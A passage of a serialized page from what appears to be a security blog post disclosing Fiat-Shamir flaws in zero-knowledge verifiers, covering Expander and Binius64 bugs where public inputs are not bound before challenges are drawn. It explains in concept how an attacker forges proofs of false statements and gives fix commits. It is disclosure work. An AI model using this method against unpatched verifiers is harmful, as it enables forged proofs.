4145},[4144],[],{"type":23,"tag":213,"props":121543,"children":121545},{"className":121544},[4150,4151,4152,4153],[121546],{"type":23,"tag":213,"props":121547,"children":121549},{"className":121548},[4103,21637,4153],[121550],{"type":28,"value":3826},{"type":23,"tag":213,"props":121552,"children":121554},{"className":121553},[21794],[121555],{"type":28,"value":21797},{"type":23,"tag":213,"props":121557,"children":121559},{"className":121558},[4130],[121560],{"type":23,"tag":213,"props":121561,"children":121563},{"className":121562,"style":114587},[4135],[121564],{"type":23,"tag":213,"props":121565,"children":121566},{},[],{"type":23,"tag":213,"props":121568,"children":121570},{"className":121569,"style":4223},[4184],[],{"type":23,"tag":213,"props":121572,"children":121574},{"className":121573},[4103],[121575,121584,121589],{"type":23,"tag":213,"props":121576,"children":121578},{"className":121577},[4103,28],[121579],{"type":23,"tag":213,"props":121580,"children":121582},{"className":121581},[4103],[121583],{"type":28,"value":61729},{"type":23,"tag":213,"props":121585,"children":121587},{"className":121586,"style":93100},[4103],[121588],{"type":28,"value":3181},{"type":23,"tag":213,"props":121590,"children":121592},{"className":121591},[4103,28],[121593],{"type":23,"tag":213,"props":121594,"children":121596},{"className":121595},[4103],[121597],{"type":28,"value":271},{"type":23,"tag":213,"props":121599,"children":121601},{"className":121600},[21766],[121602],{"type":28,"value":3821},{"type":23,"tag":213,"props":121604,"children":121606},{"className":121605},[4103,21637],[121607],{"type":28,"value":3826},{"type":23,"tag":213,"props":121609,"children":121611},{"className":121610},[21788],[121612],{"type":28,"value":15470},{"type":23,"tag":213,"props":121614,"children":121616},{"className":121615,"style":4185},[4184],[],{"type":23,"tag":213,"props":121618,"children":121620},{"className":121619},[4190],[121621],{"type":28,"value":111362},{"type":23,"tag":213,"props":121623,"children":121625},{"className":121624,"style":4185},[4184],[],{"type":23,"tag":213,"props":121627,"children":121629},{"className":121628},[4092],[121630,121634,121643,121648,121653,121658,121662,121711],{"type":23,"tag":213,"props":121631,"children":121633},{"className":121632,"style":4205},[4097],[],{"type":23,"tag":213,"props":121635,"children":121637},{"className":121636},[4103,28],[121638],{"type":23,"tag":213,"props":121639,"children":121641},{"className":121640},[4103],[121642],{"type":28,"value":112689},{"type":23,"tag":213,"props":121644,"children":121646},{"className":121645},[21766],[121647],{"type":28,"value":265},{"type":23,"tag":213,"props":121649,"children":121651},{"className":121650},[4103,21637],[121652],{"type":28,"value":3826},{"type":23,"tag":213,"props":121654,"children":121656},{"className":121655},[4216],[121657],{"type":28,"value":4219},{"type":23,"tag":213,"props":121659,"children":121661},{"className":121660,"style":4223},[4184],[],{"type":23,"tag":213,"props":121663,"children":121665},{"className":121664},[4103,112249],[121666],{"type":23,"tag":213,"props":121667,"children":121669},{"className":121668},[4125],[121670],{"type":23,"tag":213,"props":121671,"children":121673},{"className":121672},[4130],[121674],{"type":23,"tag":213,"props":121675,"children":121677},{"className":121676,"style":112335},[4135],[121678,121690],{"type":23,"tag":213,"props":121679,"children":121680},{"style":112266},[121681,121685],{"type":23,"tag":213,"props":121682,"children":121684},{"className":121683,"style":112271},[4144],[],{"type":23,"tag":213,"props":121686,"children":121688},{"className":121687,"style":93100},[4103,21637],[121689],{"type":28,"value":93919},{"type":23,"tag":213,"props":121691,"children":121692},{"style":112266},[121693,121697],{"type":23,"tag":213,"props":121694,"children":121696},{"className":121695,"style":112271},[4144],[],{"type":23,"tag":213,"props":121698,"children":121700},{"className":121699,"style":112359},[112289],[121701],{"type":23,"tag":213,"props":121702,"children":121704},{"className":121703,"style":112365},[112364],[121705],{"type":23,"tag":34330,"props":121706,"children":121707},{"xmlns":112369,"width":112370,"height":112371,"style":112372,"viewBox":112373,"preserveAspectRatio":112374},[121708],{"type":23,"tag":112377,"props":121709,"children":121710},{"d":112379},[],{"type":23,"tag":213,"props":121712,"children":121714},{"className":121713},[21788],[121715],{"type":28,"value":2121},{"type":23,"tag":24,"props":121717,"children":121718},{},[121719,121720,121789,121791,121796,121798,121803],{"type":28,"value":115936},{"type":23,"tag":209,"props":121721,"children":121723},{"className":121722},[4076,4077],[121724],{"type":23,"tag":213,"props":121725,"children":121727},{"className":121726},[4082],[121728],{"type":23,"tag":213,"props":121729,"children":121731},{"className":121730,"ariaHidden":1710},[4087],[121732],{"type":23,"tag":213,"props":121733,"children":121735},{"className":121734},[4092],[121736,121740],{"type":23,"tag":213,"props":121737,"children":121739},{"className":121738,"style":112335},[4097],[],{"type":23,"tag":213,"props":121741,"children":121743},{"className":121742},[4103,112249],[121744],{"type":23,"tag":213,"props":121745,"children":121747},{"className":121746},[4125],[121748],{"type":23,"tag":213,"props":121749,"children":121751},{"className":121750},[4130],[121752],{"type":23,"tag":213,"props":121753,"children":121755},{"className":121754,"style":112335},[4135],[121756,121768],{"type":23,"tag":213,"props":121757,"children":121758},{"style":112266},[121759,121763],{"type":23,"tag":213,"props":121760,"children":121762},{"className":121761,"style":112271},[4144],[],{"type":23,"tag":213,"props":121764,"children":121766},{"className":121765,"style":93100},[4103,21637],[121767],{"type":28,"value":93919},{"type":23,"tag":213,"props":121769,"children":121770},{"style":112266},[121771,121775],{"type":23,"tag":213,"props":121772,"children":121774},{"className":121773,"style":112271},[4144],[],{"type":23,"tag":213,"props":121776,"children":121778},{"className":121777,"style":112359},[112289],[121779],{"type":23,"tag":213,"props":121780,"children":121782},{"className":121781,"style":112365},[112364],[121783],{"type":23,"tag":34330,"props":121784,"children":121785},{"xmlns":112369,"width":112370,"height":112371,"style":112372,"viewBox":112373,"preserveAspectRatio":112374},[121786],{"type":23,"tag":112377,"props":121787,"children":121788},{"d":112379},[],{"type":28,"value":121790}," contains the challenges. Since challenges are derived before the statement data is bound, they are independent of ",{"type":23,"tag":209,"props":121792,"children":121794},{"className":121793},[],[121795],{"type":28,"value":121380},{"type":28,"value":121797},". This lets an attacker choose an arbitrary false statement (e.g., a forged output) and then solve the induced linear constraints for a modified ",{"type":23,"tag":209,"props":121799,"children":121801},{"className":121800},[],[121802],{"type":28,"value":121380},{"type":28,"value":121804}," that makes the verifier's check pass.",{"type":23,"tag":24,"props":121806,"children":121807},{},[121808,121812,121814,121821,121822,121825,121832],{"type":23,"tag":95,"props":121809,"children":121810},{},[121811],{"type":28,"value":116810},{"type":28,"value":121813}," Fixed on 21st January 2026 via ",{"type":23,"tag":36,"props":121815,"children":121818},{"href":121816,"rel":121817},"https://github.com/PolyhedraZK/Expander/commit/4a8c2be03535194c1f6b48a93ad2f5480649f7c2",[40],[121819],{"type":28,"value":121820},"commit 4a8c2be",{"type":28,"value":6550},{"type":23,"tag":31024,"props":121823,"children":121824},{},[],{"type":23,"tag":36,"props":121826,"children":121829},{"href":121827,"rel":121828},"https://blog.polyhedra.network/expander-bug-bounty/",[40],[121830],{"type":28,"value":121831},"Claimed 500k Bug bounty",{"type":28,"value":121833}," award pending",{"type":23,"tag":18845,"props":121835,"children":121836},{},[],{"type":23,"tag":9693,"props":121838,"children":121840},{"id":121839},"binius64",[121841],{"type":28,"value":107943},{"type":23,"tag":24,"props":121843,"children":121844},{},[121845,121847,121974],{"type":28,"value":121846},"Binius64 is a proof system optimized for binary fields, designed to be efficient on 64-bit CPUs. Binius uses ",{"type":23,"tag":209,"props":121848,"children":121850},{"className":121849},[4076,4077],[121851],{"type":23,"tag":213,"props":121852,"children":121854},{"className":121853},[4082],[121855],{"type":23,"tag":213,"props":121856,"children":121858},{"className":121857,"ariaHidden":1710},[4087],[121859],{"type":23,"tag":213,"props":121860,"children":121862},{"className":121861},[4092],[121863,121868],{"type":23,"tag":213,"props":121864,"children":121867},{"className":121865,"style":121866},[4097],"height:0.8665em;vertical-align:-0.1776em;",[],{"type":23,"tag":213,"props":121869,"children":121871},{"className":121870},[4103],[121872,121879],{"type":23,"tag":213,"props":121873,"children":121876},{"className":121874},[4103,121875],"mathbb",[121877],{"type":28,"value":121878},"F",{"type":23,"tag":213,"props":121880,"children":121882},{"className":121881},[4120],[121883],{"type":23,"tag":213,"props":121884,"children":121886},{"className":121885},[4125,21691],[121887,121962],{"type":23,"tag":213,"props":121888,"children":121890},{"className":121889},[4130],[121891,121957],{"type":23,"tag":213,"props":121892,"children":121894},{"className":121893,"style":112432},[4135],[121895],{"type":23,"tag":213,"props":121896,"children":121898},{"style":121897},"top:-2.5224em;margin-left:0em;margin-right:0.05em;",[121899,121903],{"type":23,"tag":213,"props":121900,"children":121902},{"className":121901,"style":4145},[4144],[],{"type":23,"tag":213,"props":121904,"children":121906},{"className":121905},[4150,4151,4152,4153],[121907],{"type":23,"tag":213,"props":121908,"children":121910},{"className":121909},[4103,4153],[121911],{"type":23,"tag":213,"props":121912,"children":121914},{"className":121913},[4103,4153],[121915,121920],{"type":23,"tag":213,"props":121916,"children":121918},{"className":121917},[4103,4153],[121919],{"type":28,"value":3221},{"type":23,"tag":213,"props":121921,"children":121923},{"className":121922},[4120],[121924],{"type":23,"tag":213,"props":121925,"children":121927},{"className":121926},[4125],[121928],{"type":23,"tag":213,"props":121929,"children":121931},{"className":121930},[4130],[121932],{"type":23,"tag":213,"props":121933,"children":121936},{"className":121934,"style":121935},[4135],"height:0.7463em;",[121937],{"type":23,"tag":213,"props":121938,"children":121939},{"style":112557},[121940,121944],{"type":23,"tag":213,"props":121941,"children":121943},{"className":121942,"style":108960},[4144],[],{"type":23,"tag":213,"props":121945,"children":121947},{"className":121946},[4150,108965,108966,4153],[121948],{"type":23,"tag":213,"props":121949,"children":121951},{"className":121950},[4103,4153],[121952],{"type":23,"tag":213,"props":121953,"children":121955},{"className":121954},[4103,4153],[121956],{"type":28,"value":29902},{"type":23,"tag":213,"props":121958,"children":121960},{"className":121959},[21794],[121961],{"type":28,"value":21797},{"type":23,"tag":213,"props":121963,"children":121965},{"className":121964},[4130],[121966],{"type":23,"tag":213,"props":121967,"children":121970},{"className":121968,"style":121969},[4135],"height:0.1776em;",[121971],{"type":23,"tag":213,"props":121972,"children":121973},{},[],{"type":28,"value":121975}," (or variants thereof), where addition is XOR. This makes certain operations very fast.",{"type":23,"tag":24,"props":121977,"children":121978},{},[121979,121981,121986],{"type":28,"value":121980},"One of Binius's key features is its specialized protocols for bitwise operations. The ",{"type":23,"tag":95,"props":121982,"children":121983},{},[121984],{"type":28,"value":121985},"Shift Protocol",{"type":28,"value":121987}," efficiently handles bit-shifts and rotations (essential for hash functions like SHA-256) without the massive overhead typical in other proof systems.",{"type":23,"tag":24,"props":121989,"children":121990},{},[121991],{"type":23,"tag":95,"props":121992,"children":121993},{},[121994],{"type":28,"value":121412},{"type":23,"tag":24,"props":121996,"children":121997},{},[121998],{"type":28,"value":121999},"The verifier receives the public witness (program inputs/outputs) as a separate parameter:",{"type":23,"tag":202,"props":122001,"children":122003},{"code":122002,"language":205,"meta":7,"className":206,"style":7},"pub fn verify\u003CF, C>(\n constraint_system: &ConstraintSystem,\n public: &[Word], // \u003C- NEVER ABSORBED\n // ...\n) -> Result\u003CVerifyOutput\u003CF>, Error>\n",[122004],{"type":23,"tag":209,"props":122005,"children":122006},{"__ignoreMap":7},[122007,122042,122067,122101,122109],{"type":23,"tag":213,"props":122008,"children":122009},{"class":215,"line":216},[122010,122014,122018,122022,122026,122030,122034,122038],{"type":23,"tag":213,"props":122011,"children":122012},{"style":230},[122013],{"type":28,"value":233},{"type":23,"tag":213,"props":122015,"children":122016},{"style":230},[122017],{"type":28,"value":254},{"type":23,"tag":213,"props":122019,"children":122020},{"style":257},[122021],{"type":28,"value":8253},{"type":23,"tag":213,"props":122023,"children":122024},{"style":220},[122025],{"type":28,"value":434},{"type":23,"tag":213,"props":122027,"children":122028},{"style":290},[122029],{"type":28,"value":121878},{"type":23,"tag":213,"props":122031,"children":122032},{"style":220},[122033],{"type":28,"value":424},{"type":23,"tag":213,"props":122035,"children":122036},{"style":290},[122037],{"type":28,"value":116329},{"type":23,"tag":213,"props":122039,"children":122040},{"style":220},[122041],{"type":28,"value":6681},{"type":23,"tag":213,"props":122043,"children":122044},{"class":215,"line":226},[122045,122050,122054,122058,122063],{"type":23,"tag":213,"props":122046,"children":122047},{"style":268},[122048],{"type":28,"value":122049}," constraint_system",{"type":23,"tag":213,"props":122051,"children":122052},{"style":274},[122053],{"type":28,"value":277},{"type":23,"tag":213,"props":122055,"children":122056},{"style":274},[122057],{"type":28,"value":927},{"type":23,"tag":213,"props":122059,"children":122060},{"style":290},[122061],{"type":28,"value":122062},"ConstraintSystem",{"type":23,"tag":213,"props":122064,"children":122065},{"style":220},[122066],{"type":28,"value":944},{"type":23,"tag":213,"props":122068,"children":122069},{"class":215,"line":524},[122070,122074,122078,122082,122086,122091,122096],{"type":23,"tag":213,"props":122071,"children":122072},{"style":268},[122073],{"type":28,"value":7611},{"type":23,"tag":213,"props":122075,"children":122076},{"style":274},[122077],{"type":28,"value":277},{"type":23,"tag":213,"props":122079,"children":122080},{"style":274},[122081],{"type":28,"value":927},{"type":23,"tag":213,"props":122083,"children":122084},{"style":220},[122085],{"type":28,"value":3821},{"type":23,"tag":213,"props":122087,"children":122088},{"style":290},[122089],{"type":28,"value":122090},"Word",{"type":23,"tag":213,"props":122092,"children":122093},{"style":220},[122094],{"type":28,"value":122095},"], ",{"type":23,"tag":213,"props":122097,"children":122098},{"style":537},[122099],{"type":28,"value":122100},"// \u003C- NEVER ABSORBED\n",{"type":23,"tag":213,"props":122102,"children":122103},{"class":215,"line":533},[122104],{"type":23,"tag":213,"props":122105,"children":122106},{"style":537},[122107],{"type":28,"value":122108}," // ...\n",{"type":23,"tag":213,"props":122110,"children":122111},{"class":215,"line":543},[122112,122116,122120,122124,122128,122133,122137,122141,122145,122149],{"type":23,"tag":213,"props":122113,"children":122114},{"style":220},[122115],{"type":28,"value":298},{"type":23,"tag":213,"props":122117,"children":122118},{"style":274},[122119],{"type":28,"value":303},{"type":23,"tag":213,"props":122121,"children":122122},{"style":290},[122123],{"type":28,"value":13838},{"type":23,"tag":213,"props":122125,"children":122126},{"style":220},[122127],{"type":28,"value":434},{"type":23,"tag":213,"props":122129,"children":122130},{"style":290},[122131],{"type":28,"value":122132},"VerifyOutput",{"type":23,"tag":213,"props":122134,"children":122135},{"style":220},[122136],{"type":28,"value":434},{"type":23,"tag":213,"props":122138,"children":122139},{"style":290},[122140],{"type":28,"value":121878},{"type":23,"tag":213,"props":122142,"children":122143},{"style":220},[122144],{"type":28,"value":6723},{"type":23,"tag":213,"props":122146,"children":122147},{"style":290},[122148],{"type":28,"value":37456},{"type":23,"tag":213,"props":122150,"children":122151},{"style":220},[122152],{"type":28,"value":6084},{"type":23,"tag":24,"props":122154,"children":122155},{},[122156,122158,122164,122165,122171,122173,122177],{"type":28,"value":122157},"In the shift protocol, challenges ",{"type":23,"tag":209,"props":122159,"children":122161},{"className":122160},[],[122162],{"type":28,"value":122163},"r_j",{"type":28,"value":1466},{"type":23,"tag":209,"props":122166,"children":122168},{"className":122167},[],[122169],{"type":28,"value":122170},"inout_eval_point",{"type":28,"value":122172}," are sampled ",{"type":23,"tag":95,"props":122174,"children":122175},{},[122176],{"type":28,"value":104644},{"type":28,"value":122178}," the public witness is bound.",{"type":23,"tag":24,"props":122180,"children":122181},{},[122182],{"type":23,"tag":95,"props":122183,"children":122184},{},[122185],{"type":28,"value":115532},{"type":23,"tag":24,"props":122187,"children":122188},{},[122189],{"type":23,"tag":4009,"props":122190,"children":122193},{"alt":122191,"src":122192},"10_binius","/posts/zkvms-unfaithful-claims/10_binius.svg",[],{"type":23,"tag":24,"props":122195,"children":122196},{},[122197],{"type":28,"value":122198},"During verification",{"type":23,"tag":131,"props":122200,"children":122201},{},[122202,122222,122234,122253],{"type":23,"tag":135,"props":122203,"children":122204},{},[122205,122207,122212,122214,122220],{"type":28,"value":122206},"Sumcheck produces challenge points ",{"type":23,"tag":209,"props":122208,"children":122210},{"className":122209},[],[122211],{"type":28,"value":122163},{"type":28,"value":122213}," (bit indices) and ",{"type":23,"tag":209,"props":122215,"children":122217},{"className":122216},[],[122218],{"type":28,"value":122219},"r_s",{"type":28,"value":122221}," (shift indices)",{"type":23,"tag":135,"props":122223,"children":122224},{},[122225,122227,122232],{"type":28,"value":122226},"Verifier samples ",{"type":23,"tag":209,"props":122228,"children":122230},{"className":122229},[],[122231],{"type":28,"value":122170},{"type":28,"value":122233}," from transcript",{"type":23,"tag":135,"props":122235,"children":122236},{},[122237,122239,122245,122247,122252],{"type":28,"value":122238},"Verifier computes ",{"type":23,"tag":209,"props":122240,"children":122242},{"className":122241},[],[122243],{"type":28,"value":122244},"public_eval = MLE(public, r_j, inout_eval_point)",{"type":28,"value":122246}," using the unbound ",{"type":23,"tag":209,"props":122248,"children":122250},{"className":122249},[],[122251],{"type":28,"value":61729},{"type":28,"value":18184},{"type":23,"tag":135,"props":122254,"children":122255},{},[122256,122257,122263],{"type":28,"value":2623},{"type":23,"tag":209,"props":122258,"children":122260},{"className":122259},[],[122261],{"type":28,"value":122262},"public_eval",{"type":28,"value":122264}," feeds into subsequent verification equations",{"type":23,"tag":24,"props":122266,"children":122267},{},[122268],{"type":28,"value":122269},"The MLE evaluation is linear in the public witness bits:",{"type":23,"tag":24,"props":122271,"children":122272},{},[122273],{"type":23,"tag":209,"props":122274,"children":122276},{"className":122275},[4076,4077],[122277],{"type":23,"tag":213,"props":122278,"children":122280},{"className":122279},[4082],[122281],{"type":23,"tag":213,"props":122282,"children":122284},{"className":122283,"ariaHidden":1710},[4087],[122285,122329,122469,122581],{"type":23,"tag":213,"props":122286,"children":122288},{"className":122287},[4092],[122289,122293,122302,122307,122316,122320,122325],{"type":23,"tag":213,"props":122290,"children":122292},{"className":122291,"style":94513},[4097],[],{"type":23,"tag":213,"props":122294,"children":122296},{"className":122295},[4103,28],[122297],{"type":23,"tag":213,"props":122298,"children":122300},{"className":122299},[4103],[122301],{"type":28,"value":61729},{"type":23,"tag":213,"props":122303,"children":122305},{"className":122304,"style":93100},[4103],[122306],{"type":28,"value":3181},{"type":23,"tag":213,"props":122308,"children":122310},{"className":122309},[4103,28],[122311],{"type":23,"tag":213,"props":122312,"children":122314},{"className":122313},[4103],[122315],{"type":28,"value":37606},{"type":23,"tag":213,"props":122317,"children":122319},{"className":122318,"style":4282},[4184],[],{"type":23,"tag":213,"props":122321,"children":122323},{"className":122322},[4287],[122324],{"type":28,"value":3190},{"type":23,"tag":213,"props":122326,"children":122328},{"className":122327,"style":4282},[4184],[],{"type":23,"tag":213,"props":122330,"children":122332},{"className":122331},[4092],[122333,122337,122409,122413,122426,122431,122436,122441,122446,122451,122456,122460,122465],{"type":23,"tag":213,"props":122334,"children":122336},{"className":122335,"style":118862},[4097],[],{"type":23,"tag":213,"props":122338,"children":122340},{"className":122339},[21673],[122341,122346],{"type":23,"tag":213,"props":122342,"children":122344},{"className":122343,"style":21680},[21673,21678,21679],[122345],{"type":28,"value":108895},{"type":23,"tag":213,"props":122347,"children":122349},{"className":122348},[4120],[122350],{"type":23,"tag":213,"props":122351,"children":122353},{"className":122352},[4125,21691],[122354,122398],{"type":23,"tag":213,"props":122355,"children":122357},{"className":122356},[4130],[122358,122393],{"type":23,"tag":213,"props":122359,"children":122361},{"className":122360,"style":113772},[4135],[122362],{"type":23,"tag":213,"props":122363,"children":122364},{"style":21704},[122365,122369],{"type":23,"tag":213,"props":122366,"children":122368},{"className":122367,"style":4145},[4144],[],{"type":23,"tag":213,"props":122370,"children":122372},{"className":122371},[4150,4151,4152,4153],[122373],{"type":23,"tag":213,"props":122374,"children":122376},{"className":122375},[4103,4153],[122377,122383,122388],{"type":23,"tag":213,"props":122378,"children":122381},{"className":122379,"style":122380},[4103,21637,4153],"margin-right:0.02691em;",[122382],{"type":28,"value":49624},{"type":23,"tag":213,"props":122384,"children":122386},{"className":122385},[4216,4153],[122387],{"type":28,"value":4219},{"type":23,"tag":213,"props":122389,"children":122391},{"className":122390},[4103,21637,4153],[122392],{"type":28,"value":3319},{"type":23,"tag":213,"props":122394,"children":122396},{"className":122395},[21794],[122397],{"type":28,"value":21797},{"type":23,"tag":213,"props":122399,"children":122401},{"className":122400},[4130],[122402],{"type":23,"tag":213,"props":122403,"children":122405},{"className":122404,"style":114338},[4135],[122406],{"type":23,"tag":213,"props":122407,"children":122408},{},[],{"type":23,"tag":213,"props":122410,"children":122412},{"className":122411,"style":4223},[4184],[],{"type":23,"tag":213,"props":122414,"children":122416},{"className":122415},[4103],[122417],{"type":23,"tag":213,"props":122418,"children":122420},{"className":122419},[4103,28],[122421],{"type":23,"tag":213,"props":122422,"children":122424},{"className":122423},[4103],[122425],{"type":28,"value":61729},{"type":23,"tag":213,"props":122427,"children":122429},{"className":122428},[21766],[122430],{"type":28,"value":3821},{"type":23,"tag":213,"props":122432,"children":122434},{"className":122433,"style":122380},[4103,21637],[122435],{"type":28,"value":49624},{"type":23,"tag":213,"props":122437,"children":122439},{"className":122438},[21788],[122440],{"type":28,"value":15470},{"type":23,"tag":213,"props":122442,"children":122444},{"className":122443},[21766],[122445],{"type":28,"value":3821},{"type":23,"tag":213,"props":122447,"children":122449},{"className":122448},[4103,21637],[122450],{"type":28,"value":3319},{"type":23,"tag":213,"props":122452,"children":122454},{"className":122453},[21788],[122455],{"type":28,"value":15470},{"type":23,"tag":213,"props":122457,"children":122459},{"className":122458,"style":4185},[4184],[],{"type":23,"tag":213,"props":122461,"children":122463},{"className":122462},[4190],[122464],{"type":28,"value":111362},{"type":23,"tag":213,"props":122466,"children":122468},{"className":122467,"style":4185},[4184],[],{"type":23,"tag":213,"props":122470,"children":122472},{"className":122471},[4092],[122473,122478,122487,122492,122497,122502,122506,122563,122568,122572,122577],{"type":23,"tag":213,"props":122474,"children":122477},{"className":122475,"style":122476},[4097],"height:1.0361em;vertical-align:-0.2861em;",[],{"type":23,"tag":213,"props":122479,"children":122481},{"className":122480},[4103,28],[122482],{"type":23,"tag":213,"props":122483,"children":122485},{"className":122484},[4103],[122486],{"type":28,"value":112689},{"type":23,"tag":213,"props":122488,"children":122490},{"className":122489},[21766],[122491],{"type":28,"value":265},{"type":23,"tag":213,"props":122493,"children":122495},{"className":122494},[4103,21637],[122496],{"type":28,"value":3319},{"type":23,"tag":213,"props":122498,"children":122500},{"className":122499},[4216],[122501],{"type":28,"value":4219},{"type":23,"tag":213,"props":122503,"children":122505},{"className":122504,"style":4223},[4184],[],{"type":23,"tag":213,"props":122507,"children":122509},{"className":122508},[4103],[122510,122515],{"type":23,"tag":213,"props":122511,"children":122513},{"className":122512,"style":93100},[4103,21637],[122514],{"type":28,"value":93919},{"type":23,"tag":213,"props":122516,"children":122518},{"className":122517},[4120],[122519],{"type":23,"tag":213,"props":122520,"children":122522},{"className":122521},[4125,21691],[122523,122552],{"type":23,"tag":213,"props":122524,"children":122526},{"className":122525},[4130],[122527,122547],{"type":23,"tag":213,"props":122528,"children":122530},{"className":122529,"style":93629},[4135],[122531],{"type":23,"tag":213,"props":122532,"children":122533},{"style":110099},[122534,122538],{"type":23,"tag":213,"props":122535,"children":122537},{"className":122536,"style":4145},[4144],[],{"type":23,"tag":213,"props":122539,"children":122541},{"className":122540},[4150,4151,4152,4153],[122542],{"type":23,"tag":213,"props":122543,"children":122545},{"className":122544,"style":114323},[4103,21637,4153],[122546],{"type":28,"value":8741},{"type":23,"tag":213,"props":122548,"children":122550},{"className":122549},[21794],[122551],{"type":28,"value":21797},{"type":23,"tag":213,"props":122553,"children":122555},{"className":122554},[4130],[122556],{"type":23,"tag":213,"props":122557,"children":122559},{"className":122558,"style":119010},[4135],[122560],{"type":23,"tag":213,"props":122561,"children":122562},{},[],{"type":23,"tag":213,"props":122564,"children":122566},{"className":122565},[21788],[122567],{"type":28,"value":2121},{"type":23,"tag":213,"props":122569,"children":122571},{"className":122570,"style":4185},[4184],[],{"type":23,"tag":213,"props":122573,"children":122575},{"className":122574},[4190],[122576],{"type":28,"value":111362},{"type":23,"tag":213,"props":122578,"children":122580},{"className":122579,"style":4185},[4184],[],{"type":23,"tag":213,"props":122582,"children":122584},{"className":122583},[4092],[122585,122589,122598,122603,122608,122613,122617,122627,122632,122641,122646,122655],{"type":23,"tag":213,"props":122586,"children":122588},{"className":122587,"style":93042},[4097],[],{"type":23,"tag":213,"props":122590,"children":122592},{"className":122591},[4103,28],[122593],{"type":23,"tag":213,"props":122594,"children":122596},{"className":122595},[4103],[122597],{"type":28,"value":112689},{"type":23,"tag":213,"props":122599,"children":122601},{"className":122600},[21766],[122602],{"type":28,"value":265},{"type":23,"tag":213,"props":122604,"children":122606},{"className":122605,"style":122380},[4103,21637],[122607],{"type":28,"value":49624},{"type":23,"tag":213,"props":122609,"children":122611},{"className":122610},[4216],[122612],{"type":28,"value":4219},{"type":23,"tag":213,"props":122614,"children":122616},{"className":122615,"style":4223},[4184],[],{"type":23,"tag":213,"props":122618,"children":122620},{"className":122619},[4103,28],[122621],{"type":23,"tag":213,"props":122622,"children":122624},{"className":122623},[4103],[122625],{"type":28,"value":122626},"inout",{"type":23,"tag":213,"props":122628,"children":122630},{"className":122629,"style":93100},[4103],[122631],{"type":28,"value":3181},{"type":23,"tag":213,"props":122633,"children":122635},{"className":122634},[4103,28],[122636],{"type":23,"tag":213,"props":122637,"children":122639},{"className":122638},[4103],[122640],{"type":28,"value":37606},{"type":23,"tag":213,"props":122642,"children":122644},{"className":122643,"style":93100},[4103],[122645],{"type":28,"value":3181},{"type":23,"tag":213,"props":122647,"children":122649},{"className":122648},[4103,28],[122650],{"type":23,"tag":213,"props":122651,"children":122653},{"className":122652},[4103],[122654],{"type":28,"value":117885},{"type":23,"tag":213,"props":122656,"children":122658},{"className":122657},[21788],[122659],{"type":28,"value":2121},{"type":23,"tag":24,"props":122661,"children":122662},{},[122663,122665,122670,122672,122745],{"type":28,"value":122664},"With challenges fixed (independent of ",{"type":23,"tag":209,"props":122666,"children":122668},{"className":122667},[],[122669],{"type":28,"value":61729},{"type":28,"value":122671},"), an attacker can find an alternate witness ",{"type":23,"tag":209,"props":122673,"children":122675},{"className":122674},[4076,4077],[122676],{"type":23,"tag":213,"props":122677,"children":122679},{"className":122678},[4082],[122680],{"type":23,"tag":213,"props":122681,"children":122683},{"className":122682,"ariaHidden":1710},[4087],[122684],{"type":23,"tag":213,"props":122685,"children":122687},{"className":122686},[4092],[122688,122693],{"type":23,"tag":213,"props":122689,"children":122692},{"className":122690,"style":122691},[4097],"height:1.0307em;vertical-align:-0.1944em;",[],{"type":23,"tag":213,"props":122694,"children":122696},{"className":122695},[4103],[122697,122706],{"type":23,"tag":213,"props":122698,"children":122700},{"className":122699},[4103,28],[122701],{"type":23,"tag":213,"props":122702,"children":122704},{"className":122703},[4103],[122705],{"type":28,"value":61729},{"type":23,"tag":213,"props":122707,"children":122709},{"className":122708},[4120],[122710],{"type":23,"tag":213,"props":122711,"children":122713},{"className":122712},[4125],[122714],{"type":23,"tag":213,"props":122715,"children":122717},{"className":122716},[4130],[122718],{"type":23,"tag":213,"props":122719,"children":122722},{"className":122720,"style":122721},[4135],"height:0.8362em;",[122723],{"type":23,"tag":213,"props":122724,"children":122726},{"style":122725},"top:-3.1473em;margin-right:0.05em;",[122727,122731],{"type":23,"tag":213,"props":122728,"children":122730},{"className":122729,"style":4145},[4144],[],{"type":23,"tag":213,"props":122732,"children":122734},{"className":122733},[4150,4151,4152,4153],[122735],{"type":23,"tag":213,"props":122736,"children":122738},{"className":122737},[4103,4153],[122739],{"type":23,"tag":213,"props":122740,"children":122742},{"className":122741},[4103,4153],[122743],{"type":28,"value":122744},"′",{"type":28,"value":122746}," that produces the same evaluation. This is a single 128-bit linear constraint over hundreds of bits, yielding a single linear equation in a high-dimensional binary witness space, which is typically underconstrained and admits many alternative witnesses under common parameterizations.",{"type":23,"tag":24,"props":122748,"children":122749},{},[122750,122754,122756],{"type":23,"tag":95,"props":122751,"children":122752},{},[122753],{"type":28,"value":116810},{"type":28,"value":122755}," Fixed on December 29, 2025 via ",{"type":23,"tag":36,"props":122757,"children":122760},{"href":122758,"rel":122759},"https://github.com/binius-zk/binius64/pull/1355/commits/86a515f0632d2acdf547ed82780dfe7f9f39358f",[40],[122761],{"type":28,"value":122762},"commit 86a515f",{"type":23,"tag":18845,"props":122764,"children":122765},{},[],{"type":23,"tag":47,"props":122767,"children":122769},{"id":122768},"why-does-this-keep-happening",[122770],{"type":28,"value":122771},"Why Does This Keep Happening?",{"type":23,"tag":24,"props":122773,"children":122774},{},[122775],{"type":28,"value":122776},"Given that we found the same bug class in six independent implementations, at some point we have to ask whether there is a systemic issue making this mistake so common.",{"type":23,"tag":9693,"props":122778,"children":122780},{"id":122779},"academic-papers-dont-specify-fiat-shamir",[122781],{"type":28,"value":122782},"Academic Papers Don't Specify Fiat-Shamir",{"type":23,"tag":24,"props":122784,"children":122785},{},[122786,122788,122793,122795,122820,122822,122825,122827,122852,122854,122881],{"type":28,"value":122787},"Academic papers usually describe ",{"type":23,"tag":87,"props":122789,"children":122790},{},[122791],{"type":28,"value":122792},"interactive",{"type":28,"value":122794}," protocols: \"Prover sends ",{"type":23,"tag":209,"props":122796,"children":122798},{"className":122797},[4076,4077],[122799],{"type":23,"tag":213,"props":122800,"children":122802},{"className":122801},[4082],[122803],{"type":23,"tag":213,"props":122804,"children":122806},{"className":122805,"ariaHidden":1710},[4087],[122807],{"type":23,"tag":213,"props":122808,"children":122810},{"className":122809},[4092],[122811,122815],{"type":23,"tag":213,"props":122812,"children":122814},{"className":122813,"style":21632},[4097],[],{"type":23,"tag":213,"props":122816,"children":122818},{"className":122817,"style":22169},[4103,21637],[122819],{"type":28,"value":116329},{"type":28,"value":122821},". Verifier sends",{"type":23,"tag":31024,"props":122823,"children":122824},{},[],{"type":28,"value":122826},"random 